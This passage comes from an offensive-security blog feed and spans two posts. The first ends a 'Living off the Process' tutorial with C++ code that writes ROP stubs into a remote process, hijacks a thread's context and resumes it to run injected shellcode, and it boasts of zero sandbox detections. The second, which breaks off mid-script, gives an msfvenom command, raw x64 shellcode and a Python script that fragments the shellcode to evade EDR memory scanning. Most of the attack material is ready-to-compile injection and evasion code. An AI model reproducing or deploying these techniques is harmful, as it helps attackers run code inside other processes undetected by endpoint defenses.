    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">writeAddr</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>

    <span class="c1">// ret</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xC3</span><span class="p">;</span>

    <span class="c1">// Pad with NOPs</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">offset</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">stub</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x90</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">allStubs</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">allStubs</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span> <span class="n">stub</span><span class="p">,</span> <span class="n">stub</span> <span class="o">+</span> <span class="mi">32</span><span class="p">);</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Stub "</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="s">L": R8=0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">chunk</span>
        <span class="o">&lt;&lt;</span> <span class="s">L", RAX=0x"</span> <span class="o">&lt;&lt;</span> <span class="n">writeAddr</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="n">writeAddr</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Write stubs to gadgets region</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">codeStubs</span><span class="p">,</span> <span class="n">allStubs</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span>
    <span class="n">allStubs</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] WriteProcessMemory (stubs) failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Code stubs written ("</span> <span class="o">&lt;&lt;</span> <span class="n">bytesWritten</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>

<p>Now on to the final section: Setting up our Thread Context and Resuming our hijacked thread to execute our ROP chain and assembly stubs!</p>

<h2 id="the-final-stretch---manipulating-our-hijacked-thread-to-execute-our-rop-gadgets-and-assembly-stubs">The Final Stretch - Manipulating our Hijacked thread to Execute our ROP gadgets and Assembly Stubs!</h2>

<p>Believe it or not, the final portion of code and the conclusion to our Living off the Process demonstration is not too crazy.  We just need to do the following, in order:</p>

<ul>
  <li>Suspend our hijacked thread</li>
  <li>Get the Thread’s current thread context</li>
  <li>Set the <code class="language-plaintext highlighter-rouge">RIP</code> register to our code stubs within the Gadgets memory region and the <code class="language-plaintext highlighter-rouge">RSP</code> register to our Gadget’s primary memory address</li>
  <li>Set the Thread Context to our new Register Values</li>
  <li>Resume the Thread!</li>
</ul>

<p>Here’s how that looks as far as code goes:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">//*************************************************</span>
 <span class="c1">// Set up thread context and execute</span>
 <span class="c1">//*************************************************</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Setting up thread context..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="k">if</span> <span class="p">(</span><span class="n">SuspendThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] SuspendThread failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">CONTEXT</span> <span class="n">ctx</span> <span class="o">=</span> <span class="p">{};</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_ALL</span><span class="p">;</span>

 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GetThreadContext</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">))</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] GetThreadContext failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="c1">// Set initial state</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">Rip</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">codeStubs</span><span class="p">;</span>           <span class="c1">// Start at first stub</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">Rsp</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">remoteGadgets</span><span class="p">;</span>       <span class="c1">// Stack points to ROP chain</span>

 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">SetThreadContext</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">))</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] SetThreadContext failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Thread context set:"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    RIP = 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Rip</span> <span class="o">&lt;&lt;</span> <span class="s">L" (first stub)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    RSP = 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Rsp</span> <span class="o">&lt;&lt;</span> <span class="s">L" (ROP chain)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
  <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[!] Press ENTER to execute ROP chain..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">get</span><span class="p">();</span>

  <span class="c1">// Execute!</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] ResumeThread failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] ROP chain executing!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Waiting for shellcode to complete..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Execution complete!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>And here’s a quick video demonstration of walkthing through each code stub and ROP gadget, showing shellcode getting copied to the dedicated Shellcode memory region, and switching over to our fake stack address:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/9sLomBhNa4A" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Apologies that I jumped straight to executing the shellcode toward the end there.  I thought I had more breakpoints set 😆  If you want to see how the entire process plays out in greater detail, I’ll have the full video walkthrough available for those that subscribe to me on ko-fi.  Thanks, and hope you enjoyed this demonstration of my take on Living off the Process.  Until next time!</p>

<p><strong>Full Source Code ready to compile (Be sure to set the Build to ‘Release’ in Visual Studio!):</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-1-29-Living%20off%20the%20Process">Source Code</a></p>

<h2 id="bonus-content-for-members-sapphire-tier"><strong><em>Bonus Content for Members! (Sapphire Tier)</em></strong></h2>

<p>📹 In-Depth Video/Audio Walkthrough for today’s blog post: <a href="https://ko-fi.com/s/35ab60ff88">In-Depth Video Walkthrough</a></p>

<p>🗒️ Updated Source Code to go with the Video: <a href="https://ko-fi.com/s/00e5869580">Source Code for Video Walkthrough</a></p>

<h2 id="bonus-content-for-members-emerald--diamond-tiers"><strong><em>Bonus Content for Members! (Emerald + Diamond Tiers)</em></strong></h2>

<p>📓RWX Scanner Tool for detecting RWX memory regions in all processes <a href="https://ko-fi.com/s/4a8a0dc254">RWX Scanner Tool</a></p>

<p>📹📓 Video walkthrough + Source code for Assembly to Machine code &amp; Rop Gadget lookup toolkit!: <a href="https://ko-fi.com/s/825b8ee3e4">Video explaining ROP gadget and Assembly to Machine Code Tools</a></p>

<p>📔 LOTP Exclusive Final Code Update - Hijacking a worker thread <a href="https://ko-fi.com/s/12ba29993b">LOTP &amp; Hijacking a worker thread</a></p>

<h2 id="anyrun-sandboxing"><strong><em>ANY.RUN Sandboxing</em></strong></h2>

<p><strong>0 / 100 Detection Rate!!!:</strong></p>

<p><img width="1051" height="377" alt="image" src="https://github.com/user-attachments/assets/62edfbf8-2345-49ee-a30a-860f78cca223" /></p>

<p><a href="https://app.any.run/tasks/7c5f7772-79b3-41a0-8ad0-863095cf6e48">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="LOTP" /><category term="x64 assembly" /><category term="Rop Gadgets" /><category term="2026" /><category term="LOTP" /><category term="Living off the Process" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="shellcode" /><summary type="html"><![CDATA[Hello again everyone! Hope the start to the new year is treating you well. I am excited to share a new blog post with you! Furthermore, I’d consider the content shared in today’s post to be the most time I’ve spent in researching a particular offensive security topic/technique 😹 I’d say I spent well over a month looking into this exciting topic and I wanted to make sure I had all my research completed before I jumped in to making a post. Without further ado, I give you my take on what I’d like to call: Living off the Process! This is a technique that does as the name implies: We use what is already available to us in the remote process of our choosing to accomplish a given goal. In this case, the goal will be to write shellcode indirectly into the remote process with as low of a footprint as possible. When I say indirectly, I mean we won’t be using WriteProcessMemory to write the shellcode. That API does play a small role, but ultimately we will be indirectly writing our shellcode in 8 byte chunks using ROP gadgets and assembly stubs all made available in the remote process. We will also avoid the creation of RWX regions of memory. Here’s a quick overview on how it all works. We will be looking for:]]></summary></entry><entry><title type="html">Evading Signature Based Memory Detection - Shellcode Fragmentation and Staged Reassembly</title><link href="https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading-Signature-Based-Memory-Detection-Shellcode-Fragmentation-and-Staged-Reassembly/" rel="alternate" type="text/html" title="Evading Signature Based Memory Detection - Shellcode Fragmentation and Staged Reassembly" /><published>2025-12-23T00:00:00+00:00</published><updated>2025-12-23T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading%20Signature%20Based%20Memory%20Detection%20-%20Shellcode%20Fragmentation%20and%20Staged%20Reassembly</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading-Signature-Based-Memory-Detection-Shellcode-Fragmentation-and-Staged-Reassembly/"><![CDATA[<p>Hey everyone, and hope the holiday season is treating you well!  🎅🎄🎁  I’ve been sitting on this blog post for quite some time now and it’s high time I went ahead and make it public.  This technique has been around for quite some time, but I feel it gets easily tossed into the attic, along with so many other techniques still viable in 2025 and beyond.  Why?  Because we all love novelty for one thing, and the latest and greatest offsec technique is always going to pique our interest.  I get it, trust me.  I love learning new things, I thrive on it.  But I also like taking something old and re-inventing it so to speak.  I got my start reinventing older code and techniques with UAC bypasses.  There are so many that still work and remain undetected if you know how to tweak the code.  In other words, why reinvent the wheel entirely when you can just reinvent some aspects to repurpose something that already works?  EDR expects the novel techniques, but sometimes the tried and true techniques can be just as effective and quite unassuming, if you can adjust the heavily signatured nature of a given technique/payload artifact.</p>

<p>So, with that little prelude out of the way, here’s what we’re tackling today.  In today’s post, we will take shellcode generated by msfvenom, which as we all know is a highly signatured and well known payload artifact, and repurpose it in our code to evade in-memory and static scanning.  It’s incredibly handy to just generate shellcode using msfvenom and not have to craft it by hand.  Don’t get me wrong, I’m masochistic enough to appreciate a good handcrafted assembly -&gt; shellcode payload, but sometimes I just prefer to be lazy and let msfvenom do all the work. 😸</p>

<blockquote>
  <p><strong>In short</strong>: We’ll be breaking up our shellcode into randomized chunks, then reassembling it into a unique memory location using VirtualAlloc.  Finally, we’ll execute it via a tried and true remote thread.  Simple enough, right?  Let’s dive in! 😺</p>
</blockquote>

<h2 id="msfvenom--a-python-helper-script--fragmenting-our-shellcode">Msfvenom | A Python Helper Script | Fragmenting our Shellcode</h2>

<p>Let’s start out with a python helper script that will generate the necessary first portion of our code for us.  But first, go ahead and generate your msfvenom payload you wish to use in today’s code!  Here’s the command I used below to generate a messagebox shellcode payload:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">g3tsyst3m</span><span class="err">@</span><span class="n">debian</span><span class="o">:~</span><span class="err">$</span> <span class="n">msfvenom</span> <span class="o">-</span><span class="n">p</span> <span class="n">windows</span><span class="o">/</span><span class="n">x64</span><span class="o">/</span><span class="n">messagebox</span> <span class="n">TEXT</span><span class="o">=</span><span class="s">"g3tsyst3m"</span> <span class="n">TITLE</span><span class="o">=</span><span class="s">"g3tsyst3m"</span> <span class="n">ICON</span><span class="o">=</span><span class="n">INFORMATION</span> <span class="o">-</span><span class="n">f</span> <span class="n">python</span>

<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">No</span> <span class="n">platform</span> <span class="n">was</span> <span class="n">selected</span><span class="p">,</span> <span class="n">choosing</span> <span class="n">Msf</span><span class="o">::</span><span class="n">Module</span><span class="o">::</span><span class="n">Platform</span><span class="o">::</span><span class="n">Windows</span> <span class="n">from</span> <span class="n">the</span> <span class="n">payload</span>
<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">No</span> <span class="n">arch</span> <span class="n">selected</span><span class="p">,</span> <span class="n">selecting</span> <span class="n">arch</span><span class="o">:</span> <span class="n">x64</span> <span class="n">from</span> <span class="n">the</span> <span class="n">payload</span>
<span class="n">No</span> <span class="n">encoder</span> <span class="n">specified</span><span class="p">,</span> <span class="n">outputting</span> <span class="n">raw</span> <span class="n">payload</span>
<span class="n">Payload</span> <span class="n">size</span><span class="o">:</span> <span class="mi">305</span> <span class="n">bytes</span>
<span class="n">Final</span> <span class="n">size</span> <span class="n">of</span> <span class="n">python</span> <span class="n">file</span><span class="o">:</span> <span class="mi">1517</span> <span class="n">bytes</span>
<span class="n">buf</span> <span class="o">=</span>  <span class="n">b</span><span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xb5\xa2\x56\xff\xd5</span><span class="s">"</span>
</code></pre></div></div>

<p>Now, copy the generated shellcode and place it in the script below.  This script will randomize the shellcode into chunks of varying lengths.  Recall that traditional shellcode detection looks for known patterns, typically in single memory regions.  Fragmentation breaks our payload into small, non-suspicious chunks.  Even if the first line has the familiar msfvenom \xfc\x48 and so on, it’s not feasible to trigger on all machine code instructions that include those first two bytes.  What would eventually happen if all EDR vendors decided to trigger on individual machine code, is that you would inevitably run into a terrible time managing false positives.  I take advantage of this 😸</p>

<p>Okay, back to the code.  Go ahead and paste your shellcode that was generated by msfvenom into the python script below and run it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">random</span>

<span class="c1"># Example shellcode (replace with your actual shellcode)
</span><span class="n">buf</span> <span class="o">=</span>  <span class="sa">b</span><span class="sh">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33</span><span class="sh">"</span>
